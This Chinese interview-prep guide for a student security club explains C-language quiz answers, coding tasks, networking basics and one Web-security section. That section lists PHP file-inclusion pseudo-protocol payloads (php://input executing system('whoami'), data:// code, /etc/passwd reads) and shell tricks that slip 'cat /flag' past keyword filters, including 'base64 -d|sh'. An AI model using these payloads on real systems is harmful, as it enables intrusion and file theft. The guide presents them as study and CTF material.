智邮普创 SEC 2026 面试通关手册 · Web方向
智邮普创工作室 · SEC / 2026 · 第一次面试

面试通关手册
C 语言 + Web 方向 全题精讲

覆盖简答题 0x01–0x09、编程题 Check A/B/C、Web 自选题、主观题十选五。每题给出标准答案、原理剖析与易错点,考前可反复翻阅。

9 道 C 简答题
3 道编程题
2 个 Web 核心考点
10 道主观速记

0x00 面试结构总览

先搞清楚"怎么得分":简答题全做、编程 A/B 必做(C 选做)、自选题任选一个方向、主观题十选五。C 语言范围:C11,至结构体指针;字符按 ASCII;unsigned char 按 8 位。

面试4 部分 + 简历
↓
简历0x00 提前准备
简答题0x01–0x09 · 全做
编程题0x0A · A/B 必做
自选题0x0B · 选 Web
主观题0x0C · 十选五
↓
类型与运算0x01
Linux 命令0x02
位运算0x03
短路求值0x04
循环分支0x05
数组字符串0x06
递归静态0x07
指针传参0x08
结构体指针0x09

得分策略:简答每题写清"输出 + 原因";编程 A/B 必须满分,C 选做尽力;Web 自选题重点准备文件包含与 RCE 绕过;主观题选最熟的 5 题写满。

0x01–0x09 C 语言简答题全解

九题覆盖:类型与运算、Linux 命令、无符号数与位运算、自增与短路、循环与分支、数组与字符串、递归与静态变量、指针与函数传参、结构体与结构体指针。逐题拆解。

0x01 类型与运算 难度 1

整数除法 · 强制类型转换 · 字符 ASCII
int a = 7, b = 2;
double x = a / b;          // 整数除法:7/2 = 3(截断),再转 double → 3.0
double y = (double)a / b;  // a 先转 7.0 → 7.0/2 = 3.5
char c = '4';              // ASCII:'4' = 52
printf("%.1f %.1f %d\n", x, y, c - '0');
答案3.0 3.5 4
原理
  • 整数除法截断:两个 int 相除结果仍是 int,小数直接向 0 截断,a/b=3 而不是 3.5。赋值给 double 只是把 3 存成 3.0。
  • 类型转换优先级:(double)a 强制转换的优先级高于除法,所以先转 a 再除。
  • ASCII 连续性:'0'–'9' 编码连续(48–57),c-'0' 是"字符数字转整数"的通用技巧 = 52−48 = 4。
易错点:x = a / b 不是 3.5!不写 (double) 强制转换就是整数除法,这是最高频的丢分点。

0x02 Linux 命令分析 难度 1

mkdir -p · grep 正则 · chmod 权限数字法
# 1. 创建目录(-p:父目录不存在自动建,已存在也不报错)
mkdir -p practice
# 2. 写入 3 行文本到 data.txt
printf 'red\nblue\nred\n' > practice/data.txt
# 3. 匹配"整行正好是 red"的行,-n 输出行号,写入 result.txt
grep -n '^red$' practice/data.txt > practice/result.txt
# 4. 权限设为 640 → 属主 rw-,属组 r--,其他 ---
chmod 640 practice/result.txt
cat practice/result.txt
最终输出
1:red
3:red
原理
  • 正则锚点:^ 锚定行首、$ 锚定行尾,^red$ 只匹配整行恰为 red 的行(blue 行被排除)。
  • grep -n:输出格式为 行号:内容,第 1、3 行命中。
  • chmod 数字法:r=4、w=2、x=1。640 = 属主 6(rw)、属组 4(r)、其他 0(无)。
易错点:只写 grep red 会匹配到 3 行(blue 里没有 red,但要注意"包含"与"整行"的区别);不带 -n 就没有行号。

0x03 无符号数与位运算 难度 2

unsigned 溢出回绕 · 按位与 · 右移
unsigned char a = 250;
a += 10;   // 250+10=260,超出 8 位上限 255 → 260 mod 256 = 4
unsigned int b = 13U;   // 13 = 0b1101
printf("%u %u %u\n", (unsigned int)a, b & 3U, b >> 1);
答案4 1 6
原理
  • 无符号溢出回绕:unsigned char 占 8 位,可表示 0–255。260 超出后按 2⁸=256 取模,260 mod 256 = 4(二进制 100000100 → 丢弃高位 → 00000100)。
  • 按位与 &:对应位都为 1 才为 1。13(1101) & 3(0011) = 1(0001)。
  • 右移 >>:无符号数逻辑右移,高位补 0,相当于整除 2:13 >> 1 = 6。
易错点:有符号 int 溢出是未定义行为;无符号溢出才是明确定义的"回绕"。另外 a += 10 时 a 是 unsigned char,运算在 int 中完成后再截断回 8 位。

0x04 自增与短路求值 难度 2

&& / || 短路 · 前置/后置自增
int a = 0, b = 2, c = 0;
int x = a && ++b;    // a=0 为假 → && 短路,++b 不执行 → x=0,b 仍是 2
int y = b++ || ++c;  // b=2 为真 → || 短路,++c 不执行 → y=1;b++ 返回旧值 2 后 b 变 3
printf("%d %d %d %d\n", b, c, x, y);
答案3 0 0 1
原理
  • && 短路:左操作数为假(0)时,整个表达式必为假,右操作数不再求值,所以 ++b 没执行。
  • || 短路:左操作数为真(非0)时,整个表达式必为真,右操作数不再求值,所以 ++c 没执行。
  • 后置自增:b++ 作为"表达式值"是旧值 2(所以 y=1),但副作用让 b 变为 3。
  • 逻辑结果:真=1、假=0,所以 x=0、y=1。
易错点:短路意味着"副作用可能不发生"——a && ++b 里 ++b 只在 a 非 0 时执行;同理 b++ || ++c 里 ++c 只在 b 为 0 时执行。

0x05 循环与分支 难度 2

switch fall-through · continue 作用于外层循环
int sum = 0;
for (int i = 1; i <= 4; ++i) {
    switch (i) {
    case 2: continue;      // i=2:跳过本次循环迭代
    case 3: sum += 3;      // i=3:sum+=3 后无 break,落入 default
    default: sum += i;
    }
}
printf("%d\n", sum);
答案11
逐次:i=1 → default 加 1(sum=1);i=2 → continue 跳过;i=3 → case3 加 3(sum=4)再贯穿 default 加 3(sum=7);i=4 → default 加 4(sum=11)。
原理
  • fall-through(贯穿):switch 中匹配 case 后若无 break,会继续执行后续 case 的语句。case 3 执行后落入 default 又加了一次 i。
  • continue 的作用域:continue 在 switch 内并不作用于 switch,而是作用于外层循环 for——直接跳到 i++。
易错点:i=3 时 case 3 和 default 都执行(sum 加了两次 3);i=2 时 switch 直接退出循环体。

0x06 数组与字符串 难度 2

sizeof vs strlen · '\0' 终止符 · 指针偏移
char s[8] = "abcd";
s[2] = '\0';
printf("%zu %zu %s\n", sizeof(s), strlen(s), s + 3);
s[2] = 'X';
puts(s);
答案
8 2 d
abXd
'a' 'b' '\0' 'd' '\0' 0 0 0 s[0]s[1]s[2] s[3]s[4]s[5] s[6]s[7] sizeof(s) = 8(整个数组占 8 字节,编译期确定) strlen 数到第一个 '\0' 停 → 2 s+3 → 指向 'd',打印 "d"
示意:s[8] 内存布局(字符串字面量初始化后剩余元素自动填 0;s[2] 被置为 '\0')
原理
  • sizeof vs strlen:sizeof 是编译期算出的数组总字节数(8);strlen 是运行时从首地址数到第一个 '\0' 的字符个数(2)。
  • 字符串终止:C 字符串以 '\0' 结尾。s+3 从 'd' 开始打印到 '\0' 结束。
  • 恢复:s[2]='X' 后字符串变为 "abXd",puts 输出 abXd。
易错点:sizeof 数组 ≠ strlen;s+3 是"跳过 3 个元素"而不是"打印第 3 个字符"。puts 会自动换行。

0x07 递归与静态变量 难度 2

static 局部变量生命周期 · 递归调用计数
int f(int n) {
    static int calls = 0;   // 只初始化一次,跨调用保留
    ++calls;
    if (n == 0) return calls;
    return f(n - 1);
}
printf("%d\n", f(2));   // f(2)→f(1)→f(0):calls 依次为 1,2,3 → 返回 3
printf("%d\n", f(1));   // 接着上次:calls=4→5 → 返回 5
答案
3
5
原理
  • static 局部变量:存储在静态存储区,整个程序运行期间只初始化一次(static int calls = 0 只在首次进入函数时执行),函数退出后值不销毁。
  • 递归计数:f(2) 递归 3 层,calls 累加到 3;第二次调用 f(1) 时 calls 从 3 继续,累加到 5。
  • 对比:普通局部变量每次调用都在栈上重新分配,无法跨调用计数。
易错点:static 的初始化只发生一次——第二次调用不是"重置为 0",而是接着上次的值继续。多线程/多次调用场景下这是隐式全局状态。

0x08 指针与函数传参 难度 2

传址 vs 传值 · 形参指针自增不影响实参
void change(int *p, int x) {
    *p += x;   // *p = a[1] = 4,4+4 = 8 → a[1] = 8
    p++;       // 形参 p 改为指向 a[2](只影响函数内的副本)
    *p = 0;    // a[2] = 0
}
int a[] = {2, 4, 6, 8};
int *p = a + 1;          // p 指向 a[1]
change(p, *p);           // 传 a[1] 的地址 + a[1] 的值 4
printf("%d %d %d %d\n", a[0], a[1], a[2], a[3]);
printf("%d\n", *p);
答案
2 8 0 8
8
调用前 2 4 6 8 a[0] a[1] a[2] a[3] p = &a[1] 调用后 2 8 0 8 a[0] *p += x *p = 0 a[3] main 中的 p 仍指向 a[1] → *p = 8
示意:change 通过指针修改了 a[1]、a[2];形参 p++ 只改变函数内副本,main 的 p 不变
原理
  • 数组名退化:a 退化为指向 a[0] 的指针,a+1 是 a[1] 的地址(指针 +1 按元素大小步进)。
  • 传址 vs 传值:第一个参数传指针(int *p),通过解引用 *p 能修改原数组;第二个参数传值(int x),是 a[1] 当前值的副本。
  • 形参自增不影响实参:p++ 只改变函数内形参 p 的指向,main 里的 p 依然指向 a[1],所以最后 *p=8。
易错点:想要"改指针本身"必须传 int **(二级指针);传 int *p 只能改 p 指向的内容,改不了实参指针。

0x09 结构体与结构体指针 难度 3

结构体按值拷贝 · -> 成员访问 · 指针步进
struct Pair { int first; int second; };
void add(struct Pair *p, int n) { p->first += n; }

struct Pair a[2] = {{1, 2}, {3, 4}};
struct Pair b = a[0]; // 整体拷贝:b = {1,2},之后与 a[0] 无关
struct Pair *p = a; // p 指向 a[0]
add(p, b.second); // a[0].first += 2 → 3
p++; // p 按 struct Pair 大小步进 → 指向 a[1]
p->second = b.first; // a[1].second = 1
b.first = 9; // 只改 b 自己


答案
3 2
3 1
9 2






first: 1 → 3
second: 2
a[0]


first: 3
second: 4 → 1
a[1](p++ 后指向)


first: 1 → 9
second: 2
b = a[0] 的拷贝


p:a[0] → a[1]



示意:结构体赋值 b=a[0] 是整体拷贝(改 b 不影响 a[0]);p 通过 -> 修改的是数组元素本身


原理

  • 结构体按值拷贝:struct Pair b = a[0] 把 a[0] 的所有成员复制给 b,二者从此互不影响(改 b.first=9 与数组无关)。

  • -> 等价于 (*p).:p->first 就是 (*p).first。指针 p 指向的是数组元素本身,所以修改直接作用到 a。

  • 指针步进:p++ 按 sizeof(struct Pair) 前进,即跳过整个结构体,从 a[0] 移到 a[1]。

  • add 传址:add(p, …) 通过指针修改 a[0].first,等价于”传引用”的效果。



易错点:结构体不是引用类型——b 是 a[0] 的副本;而指针 p 修改的是原数组。区分”值拷贝”与”指针修改”是本题核心。

0x0A 编程题:A 必做、B 必做、C 选做

要求编写可独立运行的 C 程序(C11,范围至结构体指针)。A/B 拿满分,C 能写多少写多少。

Check A 最大值与出现次数 难度 1

要求:int find_max(const int a[], int n); 主函数读入数据,输出最大值及出现次数
#include <stdio.h>

int find_max(const int a[], int n) {
int max = a[0];
for (int i = 1; i < n; ++i)
if (a[i] > max) max = a[i];
return max;
}

int main(void) {
int n;
scanf(“%d”, &n);
int a[100];
for (int i = 0; i < n; ++i) scanf(“%d”, &a[i]);

int max = find_max(a, n);
int cnt = 0;
for (int i = 0; i &lt; n; ++i)
    if (a[i] == max) ++cnt;

printf("%d %d\n", max, cnt);
return 0;

}


思路与考点

  • 两趟扫描:第一趟找最大值,第二趟数出现次数——逻辑最清晰,O(n) 复杂度。

  • const int a[]:只读形参,函数内不修改数组(体现代码风格)。

  • 样例验证:n=6,数据 -3 -1 -5 -1 -1 -4 → max=-1,出现 3 次 → 输出 -1 3。



Check B 结构体数组排序 难度 2

score 降序;score 相同则 id 升序。自写排序 + 结构体指针交换整元素,禁用 qsort
#include <stdio.h>

struct Record { int id; int score; };

/* 通过结构体指针交换整个元素 */
void swap_record(struct Record *a, struct Record *b) {
struct Record t = *a;
*a = *b;
*b = t;
}

/* 冒泡排序:score 降序,score 相同时 id 升序 */
void sort_records(struct Record a[], int n) {
for (int i = 0; i < n - 1; ++i)
for (int j = 0; j < n - 1 - i; ++j)
if (a[j].score < a[j + 1].score ||
(a[j].score == a[j + 1].score && a[j].id > a[j + 1].id))
swap_record(&a[j], &a[j + 1]);
}

int main(void) {
int n;
scanf(“%d”, &n);
struct Record a[100];
for (int i = 0; i < n; ++i)
scanf(“%d %d”, &a[i].id, &a[i].score);

sort_records(a, n);
for (int i = 0; i &lt; n; ++i)
    printf("%d %d\n", a[i].id, a[i].score);
return 0;

}


样例验证输入 4 行 (4,80)(2,95)(1,80)(3,95) → 按 score 降序、score 相同按 id 升序 → 输出 (2,95)(3,95)(1,80)(4,80),与样例一致。

思路与考点

  • 比较规则合并:一个 if 同时表达”score 小就换”和”score 相等但 id 大就换”,即降序优先、升序次之。

  • 整元素交换:swap_record 用 struct Record t = *a 整体拷贝,比逐个成员交换更符合题意。

  • 指针传址:swap_record(&a[j], &a[j+1]) 传元素地址,函数内解引用完成交换。

  • 冒泡 O(n²),n ≤ 100 足够;面试官看重的是”手写排序 + 结构体指针 + 不偷用 qsort”。



Check C Base64 编码(选做) 难度 3

字符集 [A-Za-z0-9-_](URL-safe Base64),体现编码过程;样例 zypc → enlwYw==
Base64 原理(3 字节 → 4 字符)
  • 把二进制流按每 3 个字节(24 位)分组,切成 4 个 6 位段,每段对应 0–63 的索引。
  • 用 64 字符表查表:A-Z(0-25) a-z(26-51) 0-9(52-61) -(62) _(63)。
  • 末尾不足 3 字节时补 0 凑够 6 位组,并补 =:缺 1 字节补 1 个 =,缺 2 字节补 2 个 =。
"zypc"(ASCII) 'z' = 0x7A 'y' = 0x79 'p' = 0x70 'c' = 0x63 第 1 组:3 字节 → 24 位 余 1 字节 → 补 2 位 0 011110 100111 100101 110000 30 39 37 48 e n l w 011000 110000 24 48 Y w 结果:enlwYw==
示意:zypc 的 Base64 编码过程(3 字节切 6 位 + 查表 + 末尾补 =)
/* 核心编码逻辑(体现过程版) */
#include <stdio.h>
#include <string.h>

static const char tbl[] =
“ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_”;

void base64_encode(const char *in, char out) {
size_t len = strlen(in);
size_t i = 0, o = 0;
while (i + 3 <= len) { /
完整 3 字节组 /
unsigned v = ((unsigned char)in[i] << 16) |
((unsigned char)in[i+1] << 8) |
(unsigned char)in[i+2];
out[o++] = tbl[(v >> 18) & 63];
out[o++] = tbl[(v >> 12) & 63];
out[o++] = tbl[(v >> 6) & 63];
out[o++] = tbl[v & 63];
i += 3;
}
if (i < len) { /
末尾 1-2 字节,补 0 + 补 = */
unsigned v = (unsigned char)in[i] << 16;
int rest = (int)(len - i);
if (rest == 2) v |= (unsigned char)in[i+1] << 8;
out[o++] = tbl[(v >> 18) & 63];
out[o++] = tbl[(v >> 12) & 63];
out[o++] = (rest == 2) ? tbl[(v >> 6) & 63] : ‘=’;
out[o++] = ‘=’;
}
out[o] = ‘\0’;
}

int main(void) {
char in[256], out[512];
fgets(in, sizeof(in), stdin);
in[strcspn(in, “\n”)] = ‘\0’;
base64_encode(in, out);
puts(out);
return 0;
}


面试官加分点:说清”为什么末尾补 = “(因为输出必须是 4 的倍数);说清本字符集与标准 +/ 的区别(URL-safe 用 -_,可安全放进 URL/文件名)。

0x0B · Web 自选题深讲(你的主攻方向)

两个问题:① 文件包含漏洞常用伪协议;② RCE 过滤了 flag 的绕过方法。这是 Web 方向的两个高频考点,答好能直接体现渗透思维。

问题 1:文件包含漏洞有哪些常用的伪协议?

背景:PHP 的 include / include_once / require 把参数当文件路径处理,攻击者可控时即可读文件甚至执行代码
攻击者 构造恶意路径 include($path) 未过滤用户输入 读取 / 执行 目标文件 payload 示例:?page=php://filter/read=convert.base64-encode/resource=flag.php
示意:文件包含漏洞的攻击链(输入未过滤 → 伪协议接管路径解析)
伪协议作用前置条件 / 典型 payload
php://filter读文件源码(最常用):直接 include 会把 PHP 当代码执行,看不到源码;叠加 base64 编码后源码以文本返回无特殊配置
php://filter/read=convert.base64-encode/resource=flag.php
php://input把 POST 请求体当作 PHP 代码执行allow_url_include=On
POST:<?php system('whoami');?>
data://数据流,内联代码执行(data URI)allow_url_include=On
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
file://读取本地文件(不受 allow_url_include 限制)file:///etc/passwd
phar://触发 phar 反序列化(配合可上传的 phar 文件打链)phar://uploads/a.phar
zip://读取 zip 压缩包内文件zip://a.zip#shell.txt
http:// https://远程文件包含(RFI),直接包含攻击者服务器上的脚本allow_url_include=On
expect://执行系统命令(RCE)需安装 expect 扩展
expect://whoami
dict:// gopher://构造 TCP 协议请求,常用于 SSRF 打内网服务(Redis 等)视 curl/环境而定
记忆方法(按目的分组)
  • 读文件:php://filter、file://、zip://、phar://
  • 代码执行:php://input、data://、expect://
  • 远程/内网:http(s)://(RFI)、dict://、gopher://(SSRF)
  • 回答时主动说"哪些需要 allow_url_include=On"——这是面试官期待的细节。

问题 2:RCE 过滤了 flag 有哪些方法可以绕过?

场景:命令执行处过滤了字符串 "flag"(如 cat /flag 会被拦截),如何仍然读到 flag?
核心思路:让最终命令字符串里不出现连续的 "flag" ① 通配符展开* / ? 由 shell 展开 ② 拼接 / 转义拆词变量、引号、反斜杠分隔 ③ 编码后再解码执行base64 / 八进制 / 十六进制 ④ 换命令 / 换分隔符tac、$IFS、重定向 本质:过滤发生在"字符串层",shell 执行发生在"语义层"—— 只要让过滤器看不到 flag,而 shell 最终能解析出 cat /flag 即可。 一句话总结:拆开再组合(通配符 / 拼接 / 编码 / 转义)
示意:RCE 绕过 flag 过滤的四大类思路
类别方法示例(目标 cat /flag)
通配符* 匹配任意长度,? 匹配单字符cat /f*ag、cat /fl?g
方括号字符类cat /f[l]ag(字符类,过滤器常漏)
拼接 / 拆词变量拼接a=fl;b=ag;cat /$a$b
引号 / 反斜杠分隔c""at /fl""ag、c'a't /fl'a'g、c\at /fl\ag
从环境变量取字符拼${PATH:0:1} 取路径首字符等
编码执行Base64 解码后管道执行echo Y2F0IC9mbGFn|base64 -d|sh
八进制 / 十六进制转义$'\143\141\164' /flag、$'\x63\x61\x74' /flag
大小写 + tr 转换Linux 命令区分大小写,CaT 无效;可 $(tr 'A-Z' 'a-z' <<< "CAT")
换命令 / 换分隔其他读取命令替代 cattac、nl、head、more、strings、od、xxd
空格被过滤 → $IFScat${IFS}/flag、{cat,/flag}、cat</flag
内联执行cat $(ls /)`、cat \`ls /\`
答题加分:先点明"过滤发生在字符串层、shell 解析发生在语义层"这个本质,再按"通配符 → 拼接 → 编码 → 换命令"四类展开,面试官会认为你有体系化思维。

0x0C 主观题十选五 · 速记卡

任选五题作答。下面 10 题全部给出标准答法,重点掌握与 Web/安全强相关的 4 题(1、4、5、8)和送分题(2、10)。

1. 信息安全三要素 CIA

答机密性(Confidentiality):只有授权者能读取,防泄露(加密、访问控制);完整性(Integrity):数据不被未授权篡改,防篡改(哈希、数字签名);可用性(Availability):需要时服务可用,防拒绝服务。

2. IPv4 私有地址 + 回环地址

答私有地址三段:10.0.0.0/8、172.16.0.0/12、192.168.0.0/16。127.0.0.0/8 是回环地址(loopback),用于本机自测,最常用 127.0.0.1(localhost),数据包不出网卡。

3. 二层交换机 vs 路由器

答二层交换机工作在数据链路层,按 MAC 地址转发,用于局域网内连接主机、隔离冲突域;路由器工作在网络层,按 IP 地址路由转发,连接不同网段、隔离广播域。

4. HTTP 请求行 + 状态码

答请求行三部分:方法 + URL + HTTP 版本,如 GET /index.html HTTP/1.1。状态码:200 成功;301 永久重定向;403 禁止访问(权限不足);404 资源不存在;500 服务器内部错误。
记忆2xx 成功、3xx 重定向、4xx 客户端错误、5xx 服务器错误。Web 安全里 403/404 常用来探测目录与文件是否存在。

5. Cookie vs Session

答Cookie 存客户端(浏览器),Session 存服务端。配合方式:用户登录 → 服务端创建 Session 并生成 session_id → 通过 Set-Cookie 发给浏览器 → 后续请求自动携带 Cookie → 服务端凭 session_id 找到对应会话。Cookie 里存的是"凭证"而不是用户数据。
Web 延伸:Session 固定、Cookie 伪造/篡改、HttpOnly 防 XSS 窃取、Secure 仅 HTTPS 传输——面试官常顺带追问。

6. DHCP 与 DORA

答DHCP 自动分配 IP 等网络参数。首次获取的四个步骤 DORA:Discover(广播找服务器)→ Offer(服务器提供租约)→ Request(客户端确认请求)→ Ack(服务器确认,正式分配)。

7. NAT / SNAT / DNAT

答NAT 在网关做地址转换,解决公网地址不足、隐藏内网。SNAT 改源 IP(内网出公网,如家用路由器);DNAT 改目的 IP(公网访问内网服务,如端口映射)。

8. 编码 vs 加密 vs 哈希

答编码(Base64):可逆、无密钥,只是格式转换,不是安全手段;加密(AES):可逆、有密钥,保护机密性;哈希(SHA-256):不可逆、定长输出,用于完整性校验、口令存储。
Web 延伸:Base64 不是加密(CTF 里看到 = 结尾先解码);口令存储要用加盐哈希而非可逆加密。

9. 用户态 vs 内核态 + 系统调用

答内核态:CPU 特权级别最高,可执行特权指令、直接访问硬件和内核数据结构;用户态:应用程序运行环境,受限,无法直接访问硬件。系统调用是从用户态进入内核态的唯一受控入口(如 read/write/open),由内核代为执行特权操作后返回。

10. 大端序 vs 小端序

答大端:高位字节存低地址(网络字节序);小端:低位字节存低地址(x86 常用)。0x12345678 从 0x1000 存放:
大端:0x1000=12, 0x1001=34, 0x1002=56, 0x1003=78
小端:0x1000=78, 0x1001=56, 0x1002=34, 0x1003=12
CTF 延伸:Re 方向常考"内存里看到的字节序",Pwn 里覆盖返回地址也常涉及大小端;此题答对=送分。

✔ 考前 10 分钟清单

  • 简历:姓名、班级、联系方式、爱好、学习经历——提前写好打印或备份。
  • 简答题:九题答案背熟输出值(3.0 3.5 4 / 1:red 3:red / 4 1 6 / 3 0 0 1 / 11 / 8 2 d / 3 5 / 2 8 0 8 / 3 2 · 3 1 · 9 2),每题必须带"原因"。
  • 编程题:Check A/B 代码默写流畅;Check C 记住"3 字节切 6 位 + 查表 + 补 ="。
  • Web 方向:伪协议按"读文件/执行/远程"三类背;RCE 绕过按"通配符/拼接/编码/换命令"四类答,先讲本质。
  • 主观题:优先选 1(CIA)、4(HTTP)、5(Cookie/Session)、8(编码加密哈希)、10(大小端)——与安全最相关且好拿分。